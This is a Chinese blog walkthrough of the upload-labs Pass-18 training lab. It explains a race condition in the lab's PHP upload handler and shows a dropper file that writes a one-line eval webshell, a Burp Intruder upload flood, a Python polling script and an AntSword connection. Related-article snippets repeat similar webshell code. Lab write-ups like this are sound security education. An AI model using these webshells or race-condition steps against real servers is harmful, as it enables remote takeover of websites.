【网络安全】upload-labs Pass-18 解题详析

upload-labs 18-21关 详解 (完结) upload-labs 18-21关 详解 (完结) 阅读详情

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

文章目录

读者可参考、订阅专栏:Upload-Labs靶场攻防实战


Antsword蚁剑

蚁剑工具的使用可参考:

【网络安全】AntSword(蚁剑)实战解题详析(入门)

【网络安全】DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集

正文

后端逻辑代码:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传一个<code>webshell</code>到服务器。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

<?php
include '../footer.php';
?>

代码解读:

1. 首先,通过设置一个布尔型变量$is_upload和$msg为空,来初始化文件上传的状态和错误信息。

2. 接着,判断是否有提交表单的POST请求。如果有,则开始处理文件上传。

3. 创建一个允许上传的文件扩展名数组$ext_arr,包括了允许上传的图片类型(jpg、png、gif)。

4. 获取上传文件的原始文件名$file_name,并临时保存在服务器上的文件路径$temp_file。

5. 使用substr函数获取文件扩展名$file_ext。

6. 根据定义的上传路径UPLOAD_PATH和文件名生成待存储的文件路径$upload_file。

7. 调用move_uploaded_file函数将临时文件移动到指定路径$upload_file。如果移动成功,则进行进一步的处理;否则,记录错误信息。

8. 在移动成功的情况下,使用in_array函数检查文件扩展名是否在允许上传的类型数组中。

9. 如果文件扩展名在允许上传的类型数组中,生成一个随机的文件名$img_path,并将原始上传文件重命名为$img_path。同时将$is_upload设置为true,表示上传成功。

10. 如果文件扩展名不在允许上传的类型数组中,记录错误信息$msg,并删除已上传的文件。

11. 如果移动文件发生错误,记录错误信息$msg。

后端逻辑是:文件先上传 → 再进行过滤与二次渲染。
此处存在条件竞争问题。

原理与操作系统提示“文件正在被另一程序使用,无法删除”类似:当一个文件被打开时,删除操作会失败。攻击者可以利用上传与过滤之间的时间差,在文件刚上传成功的一瞬间直接访问该文件,从而绕过后续的过滤与二次渲染。

具体操作如下。

准备一个php文件:

在这里插入图片描述

上传该文件时抓包:

在这里插入图片描述

发送至爆破模块:

在这里插入图片描述

设置payload集:

在这里插入图片描述

开始攻击:

在这里插入图片描述

在点击开始攻击的一瞬间,访问目标文件路径,如

localhost/upload-labs-master/upload/1.php?1=phpinfo();

即可实现命令执行

但利用条件竞争时,需要快速进行访问,而手工较慢,因此需要写特定的脚本进行访问或上传

写入一个sh.php文件,内容为:

<?php fputs(fopen("info.php", "w"), '<?php @eval($_REQUEST[1]);?>'); ?>

作用为:fopen(“info.php”, “w”) 使用写入模式(w)打开了一个名为 info.php 的文件,然后,fputs() 函数将 <?php @eval($_REQUEST[1]);?> 写入到打开的文件中

接着抓包发送至爆破模块并清除所有payload:

在这里插入图片描述

接着设置payload:

在这里插入图片描述

再写一个脚本:

import requests
url = "http://127.0.0.1/upload-labs/upload/sh.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("DOWN")

如果状态码为 200,则输出 “OK” 并跳出循环;否则输出 “DOWN”

在这里插入图片描述

运行脚本后开始爆破攻击,直至回显OK:

在这里插入图片描述

说明info.php成功生成,同时该文件包含一句话木马

接着我们使用蚁剑测试连接:

在这里插入图片描述

成功添加,完成解题:

在这里插入图片描述

Upload-labs 18 条件竞争——通关 访问目标站点,提示上传图片马 查看源码 思路:上传shell.php.7z图片木马配合解析漏洞 实验步骤: 图片中php一句话木马代码:<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>’);?> 第一种:使用python脚本 第一步:burpsuite抓包,上传文件名字shell.php.7z... 阅读详情

相关推荐

upload-labs通关(第18关-第19关)

在这关它先把文件上传至网站目录, 然后才对文件进行检验来决定是否删除这个文件,所以我们可以通过burpsuite发送大量的上传文件和访问所创建的webshell文件的请求,从而绕过代码的限制,上传后门文件。这关不知道是不是代码有问题,还是我的配置有问题,我这直接用文件包含漏洞就能上传上去,我还看了其他人的wp,他们的都是用白名单+条件竞争+apache解析漏洞或者白名单+条件竞争+文件包含漏洞。接下来我们开始攻击,我们要分别点击上传请求的开始攻击按钮和文件访问的按钮(如果只点一个,它只会攻击一个)

qq_73985955的博客 1389

文件上传upload-labs 第18关 条件竞争

文件上传靶场练习条件竞争

YYYYU_ZHIZZZ的博客 1189

[网络安全]upload-labs Pass-18 解题详析_upload-labs18关条件竞争

创建一个允许上传的文件扩展名数组$ext_arr,包括了允许上传的图片类型(jpg、png、gif)。根据定义的上传路径UPLOAD_PATH和文件名生成待存储的文件路径$upload_file。在移动成功的情况下,使用in_array函数检查文件扩展名是否在允许上传的类型数组中。如果文件扩展名不在允许上传的类型数组中,记录错误信息$msg,并删除已上传的文件。如果有,则开始处理文件上传。如果文件扩展名在允许上传的类型数组中,生成一个随机的文件名。msg为空,来初始化文件上传的状态和错误信息。

2401_84972676的博客 717

upload-labs18关

漏洞介绍 条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。 首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”。 第十八关(条件竞争) 源码分析 首先准备一个创建shell的php <?php fputs

qq_46527080的博客 2677

[网络安全]upload-labs Pass-20 解题详析(1)

} ?>上传一个到服务器。请选择要上传的图片: 保存名称:

2401_84972726的博客 554

PHPStudy 2018快速搭建Upload-Labs靶场:文件上传漏洞实战环境部署指南

文件上传漏洞是Web安全中常见的高危攻击面,其原理在于服务器对用户上传的文件未进行充分的安全校验,导致恶意文件被上传并执行。理解其技术价值在于,攻击者可借此获取服务器控制权,危害极大。在应用场景上,无论是电商、社交还是内容管理平台,凡涉及用户文件上传功能,均需防范此类风险。本文聚焦于使用PHPStudy 2018这一经典集成环境,在Windows系统上快速部署Upload-Labs靶场,为学习文件上传漏洞的绕过手法提供稳定、易用的实验平台。通过图形化界面管理Apache、PHP和MySQL,学习者可抛开复杂

weixin_33970449的博客 388

【网络安全】upload-labs Pass-19 解题详析

本文介绍了如何通过修改myupload.php文件中的代码,利用图片码绕过文件上传限制,上传含有eval代码的GIF文件,并通过文件包含功能点实现命令执行。文章详细描述了上传过程、获取图片路径、利用文件包含功能点执行命令的步骤,并提供了POC示例。此外,文章还提到可以通过条件竞争的方式完成该任务,并提供了相关参考链接。读者可参考相关专栏和文章,进一步学习网络安全攻防实战技巧。

等风来 6171

巨量千川M-API实战:5分钟搞定短视频计划数据自动获取(Python版)

本文详细介绍了如何利用巨量千川M-API和Python快速搭建自动化工具,实现短视频计划数据的自动获取。通过实战代码演示了从环境准备、Token管理到核心数据接口调用的完整流程,帮助电商运营和技术开发者告别手动导出,高效完成数据汇总与分析。

weixin_29325515的博客 1357

一些靶场的学习记录:sqli-labs、upload-labs、XSS

本篇总结下一些靶场的学习记录:sqli-labs、upload-labs、XSS

闵行小鱼塘 2889

ThinkBook 16 2024 Ubuntu驱动全攻略:从无线网卡到触控板

本文详细介绍了ThinkBook 16 2024在Ubuntu系统下的驱动问题解决方案,涵盖无线网卡、蓝牙、显卡和触控板等关键硬件的驱动修复步骤。通过具体命令和配置指南,帮助用户快速解决兼容性问题,提升Ubuntu在ThinkBook上的使用体验。

weixin_29200741的博客 826

MATLAB双目相机标定:从工具箱实战到参数精解

本文详细讲解了使用MATLAB进行双目相机标定的完整实战流程与参数精解。从拍摄合格的棋盘格图像、设置关键参数(如径向畸变系数),到分析重投影误差、优化结果并正确导出和使用内外参,提供了从操作到原理的全面指导,帮助读者为立体视觉应用奠定精准基础。

weixin_29041767的博客 257

upload-labs靶场 1-21通关

upload

2302_78449782的博客 1633

【UE5+Quest3】手部模型替换---3-0

这次手部模型替换遇到了一些小问题,不过好在是bug一个个都处理掉了,我会分开几个章节去整理。详细的视频教程可以参考油管大佬的视频手部素材放到文章末尾,自行下载使用。(仅用作学习研究,不可用于商用)

qbbmnnnnnn的博客 944

最新upload-labs文件上传漏洞靶场搭建安装,upload-labs Pass01-Pass20 二十关详解,靶场源码详解,upload-labs第一关到第二十关详解,一句话木马详细介绍

在开始打靶场之前,我们先来介绍一下一句话木马。一句话木马(One-liner Trojan 或 Webshell)是一种常见的网络安全攻击工具,通常用于Web服务器的非法控制。它称为“一句话”,因为攻击者只需在目标服务器上的一个可访问的Web页面中植入一小段代码,就可以实现对服务器的远程控制。这种木马通常以PHP、ASP、JSP等服务端脚本语言的形式出现,因为这些语言能够在服务器上执行。一句话木马的代码很简短,但功能却非常强大,能够接收远程命令并在服务器上执行这些命令。?

2302_80946742的博客 8881

逆向实战:Soul聊天协议加密与Frida绕过检测

本文详细解析了Soul聊天协议逆向分析的全过程,重点介绍了如何利用Frida绕过应用的反调试检测机制。通过静态分析定位关键SO库,并编写Frida脚本动态Hook线程创建函数,成功实现对抗。文章还进一步追踪了基于DES算法的加密流程,并探讨了协议数据结构的解析方法,为移动应用安全研究提供了实战参考。

2w3e4r5t6y的博客 1132

电力-平衡式IEC 60870-5-101规约报文解析

本文详细介绍了电力自动化中平衡式IEC 60870-5-101规约的应用,包括链路建立与初始化、对时、遥控操作、数据上送和总召唤等关键步骤,通过实例解析了报文格式和交互过程,是理解配网自动化通信的重要参考资料。

让你爱上电路设计 5684

upload-labs Pass5-18 文件上传

查看源码,发现是黑名单过滤我们建立一个php文件进行上传会发现上传失败当我们将小写的php改成大写的PHP时会上传成功。

NBbabay的博客 602

微积分,用编程理解高数(python,C,C++)

很好理解,导数中,x是哪一点的导数,dx是精准度,y等于f(x)即函数。导数结果就是瞬时变化率。积分很好理解,a为下限,b为上限,y为函数,结果就是y=f(x)下a到b的面积。只要用定积分代入a=0,b=10(10s)y=x(1*x=1)就得到结果。F(x)为原函数,即微分后的函数是f(x)dx,微分前是F(x)一列车初始速度为10m/s,加速度为。才几十行代码,微积分也不是很难啊。,问速度达到20时车走了多少米。

linhhanpy的博客 1178

UPLOAD LABS | PASS 18 - 逻辑漏洞 - 条件竞争

我们可以上传一个生成木马的文件,然后在服务端来不及删除它时,访问该文件,让该文件生成一个木马放到服务端,由于脚本生成的新木马不属于上传的,所以服务端不会删除这个木马。仔细分析代码,可以发现,目标会先将我们上传的文件进行保存,当保存后,再对其校验合法性,在其代码校验合法性期间,我们上传的文件其实已经被其保存到服务端了。但是呢,如果我们尝试去连接这个不稳定的文件,会发现,连接不了的,在你连接期间这个文件就会被删除。如上,我们利用条件竞争攻击,直接在目标服务器生成了一个稳定的 shell.php。

Blue17 の 小窝 1493

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

upload-labs-master通关攻略(1-19关)

1,在桌面新建一个1.php文档2,打开pass-1并上传1.php发现失败3,点击F12,将检查文件类型的内容删去(如图)然后再次上传就成功了4,右键图片在新标签页打开,使用菜刀检查是否能连接。

2302_80982453的博客 2626

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

upload-labs pass-18

所以,这一题的绕过思路就是在服务器删除我们的文件之前访问到我们的文件,为了实现持久控制,我们这里可以写入这样一段代码,如果我们访问这个文件成功了,那么它会在同级目录里面留下一个shell.php文件,我们后续可以访问shell.php文件。可以点击一下状态码,会根据大小进行排序,这样更容易找到响应码为200的请求,我们需要看的是访问上传文件的数据包状态,只有有一个访问成功,那么也就意味着留下了shell.php,我们后续就可以继续访问了。可以看到,存在我们想要的shell.php文件,我们也访问成功了。

记录自己学习安全知识的笔记, 沉淀ing 754

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

upload-labs通关攻略

爆破后生成webshell.php即可使用蚁剑连接。burp拦包发送到inturder模块进行爆破。

qq_62486841的博客 739

Upload-labs 1-21关 靶场通关笔记(含代码审计)

basename— 返回路径中的文件名部分给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。Notebasename()纯粹基于输入字符串操作, 它不会受实际文件系统和类似 “..” 的路径格式影响。php?1) sudoers3) passwd4) etc5) .6)imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像。

m0_59598029的博客 1240

【靶场】upload-labs Pass-02

考纲:本pass在服务端对数据包的MIME进行检查!(在右上角点击 查看提示 中看到) 一、上一关 【靶场】upload-labs Pass-01 二、大马 介绍两款 php 大马,因为 一句话木马看不上。如果师傅有其他好用的 大马,还望师傅在评论中浏览,互相学习。 yzddmr6 师傅:best_php_shell.php su18 师傅:stitch.php 三、MIME 介绍 【网络】常见的 MIME 类型 四、 姿势 开始上传 php 木马 吧。本次用的是 yzddmr6 师傅的。

边扯边淡 396

为什么你的 upload-labs 照着攻略就是做不出来:前提条件清单

所有命令均未实测。写作环境无 Docker 与 PHP,无法产出任何运行输出。文中每个代码块上方都保留了⚠️ 代码待验证标记,请在你自己的环境里验证后再依赖它。官方容器(PHP 5.5)能否跑出 Pass-12 / Pass-13 的结果:官方未声明,本文未实测,本文不作结论。这是"读者最想知道、但本文给不了"的一条,也是本文唯一一个无法关闭的缺口。00 截断所依赖的具体 PHP 版本阈值:未从 PHP 官方变更记录或安全公告核到一手出处。本文因此不写这个数字,只保留官方的笼统口径。

2301_80217102的博客 180
上一篇: 【网络安全】upload-labs Pass-17 解题详析
下一篇: [网络安全]upload-labs Pass-20 解题详析
秋说
秋说 优质创作者: 编程框架、信息安全技术领域 优质创作者: 编程框架、信息安全技术领域
博客等级 码龄4年 3万+粉丝 1906原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值